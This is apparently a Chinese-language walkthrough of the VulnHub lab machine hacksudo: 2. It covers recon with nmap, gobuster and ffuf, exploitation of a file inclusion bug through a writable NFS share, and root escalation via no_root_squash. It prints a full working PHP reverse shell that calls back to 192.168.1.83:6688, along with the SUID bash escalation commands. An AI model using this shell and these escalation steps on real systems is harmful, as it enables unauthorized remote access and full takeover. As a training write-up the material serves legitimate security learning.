vulnhub靶场之HACKSUDO: 2 (HACKDUDO)
准备:
攻击机:虚拟机kali、本机win10。
靶机:hacksudo: 2 (HackDudo),下载地址:https://download.vulnhub.com/hacksudo/hackdudo2.rar,下载后直接vbox打开即可。
知识点:ffuf爆破、nfs服务提权、shell反弹。
一:信息收集
1.nmap扫描
使用nmap扫描下靶机地址,命令:nmap -sn 192.168.1.0/24,发现靶机地址:192.168.1.111。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.111,显示开放了1337端口、80端口、2049端口等,开启了ssh服务、http服务、nfs服务。

2.目录扫描
使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.111,发现/web、/audio、/file.php等目录和文件。

3.ffuf爆破
对扫描出来的目录进行访问收集信息,在访问:http://192.168.1.111/file.php时,页面提示file access(文件访问),猜测这里存在文件包含漏洞。因此使用ffuf进行爆破,命令:ffuf -w /usr/share/SecLists/Discovery/Web-Content/common.txt -u 'http://192.168.1.111/file.php?FUZZ=../../../../../etc/passwd' -fs 238,成功获得参数file。


利用获得的参数去读取下/etc/passwd文件,查看下当前系统具有哪些账户,发现账户信息:hacksudo。

二:NFS服务
1.nfs服务挂载
NFS,全称Network File System,即网络文件系统。最大的功能是通过网络,让不同的机器、不同的操作系统可以共享彼此的文件。可以理解为本地多了一个虚拟磁盘。那我们就查询下NFS服务器的全部共享目录,命令:showmount -e 192.168.1.111,发现共享目录:/mnt/nfs *,*表示具有所有权限(读写,ro表示只读)。

nfs服务的缺点之一是客户端没有用户认证机制,那我们将该目录挂载到本地kali中,命令:mkdir /mnt/nfs、mount -t nfs 192.168.1.111:/mnt/nfs /mnt/nfs,然后查看该目录信息发现存在一个flag值,读取该文件成功获得flag值。

2.shell反弹
将我们的shell反弹脚本写入到nfs,然后利用http://192.168.1.111/file.php存在的文件包含漏洞访问我们写入的shell反弹文件:http://192.168.1.111/file.php?file=/mnt/nfs/shell.php,成功获得shell权限。
shell反弹脚本
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.83';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>

三:提权
找了一圈没找到可以进行提权的点,那就直接上脚本:linpease.sh跑一下,在脚本也没发现好用的漏洞信息,后面想到这台机器开启了nfs服务,就查询了以下nfs提权漏洞,发现当前nfs配置文件中配置:no_root_squash选项时存在提权漏洞,那就查看下nfs配置文件的配置信息,命令:cat /etc/exports。

那我们就利用nfs提权漏洞进行提权,命令:cp /bin/bash . 、chmod +s bash,然后在靶机中通过./bash -p来实现提权至root,我这里是因为kali的bash太高,导致提权失败。

后面就又临时装了一个虚拟机,重新执行上面的命令,成功获得root权限并读取到flag值。

vulnhub靶场之HACKSUDO: 2 (HACKDUDO)的更多相关文章
- vulnhub靶场之HACKSUDO: PROXIMACENTAURI
准备: 攻击机:虚拟机kali.本机win10. 靶机:hacksudo: ProximaCentauri,下载地址:https://download.vulnhub.com/hacksudo/hac ...
- vulnhub靶场之HACKSUDO: THOR
准备: 攻击机:虚拟机kali.本机win10. 靶机:hacksudo: Thor,下载地址:https://download.vulnhub.com/hacksudo/hacksudo---Tho ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
随机推荐
- http hook
class XMLHttp { request = function(param) {} ; response = function(param) {} ; } let httpCopy = new ...
- Spring系列之基于 Java 的容器配置-9
目录 组合基于 Java 的配置 使用`@Import`注解 有条件地包含`@Configuration`类或`@Bean`方法 结合 Java 和 XML 配置 组合基于 Java 的配置 Spri ...
- vue中自动将px转换成rem
1.首先下载 lib-flexible npm install lib-flexible --save 2.在main.js中引用 lib-flexible 3.安装px2rem-loader(将px ...
- 高并发解决方案之 redis 分布式锁
背景:秒杀服务中要写一个定时任务:活动到期时给order微服务发送关闭订单的通知.这需要改变数据库表中的数据,而集群中服务是多节点的方式进行部署,会出现并发执行的情况,所以采用的redis的分布式锁的 ...
- C++从键盘读取一行的方法
从键盘读取一行的方法 cin类中的成员函数getline()和get()--使用数组来处理字符串 cin.getline(数组,要读入的字符数).getline()将丢弃换行符.这个成员函数通过换行符 ...
- Honeywell安卓版手持机设置广播方式
设置>Honeywell设置>扫描设置>Internal Scanner>Default profile>Data Processing Settings>Data ...
- CH573 CH582 CH579蓝牙从机(peripheral)例程讲解二(广播内容修改)
在上一篇外设例程讲解中讲述了蓝牙从机的收发接口,这样可以快速的上手,那么接下来就讲解另一个重要设置,从机的广播. 在peripheral例程中,一直是以50ms的周期进行广播,使用手机软件扫描可以获取 ...
- cider 二面
cider 二面 1.祖传自我介绍 2.当前BLF外卖业务缺点是什么? 产品单一 : 跟竞品比较起来,产品单一导致用户流量很少 3.QLExpress二次开发的原因 流程对接 提升性能 后台对接 4. ...
- Vue中 ref、$refs区别与使用
定义2个组件: 子组件ChildrenSubRef.vue: 1 <template> 2 <div> 3 4 </div> 5 </template> ...
- Nginx TP框架伪静态配置
location / { if (!-e $request_filename){ rewrite ^(.*)$ /index.php?s=$1 last; break; } }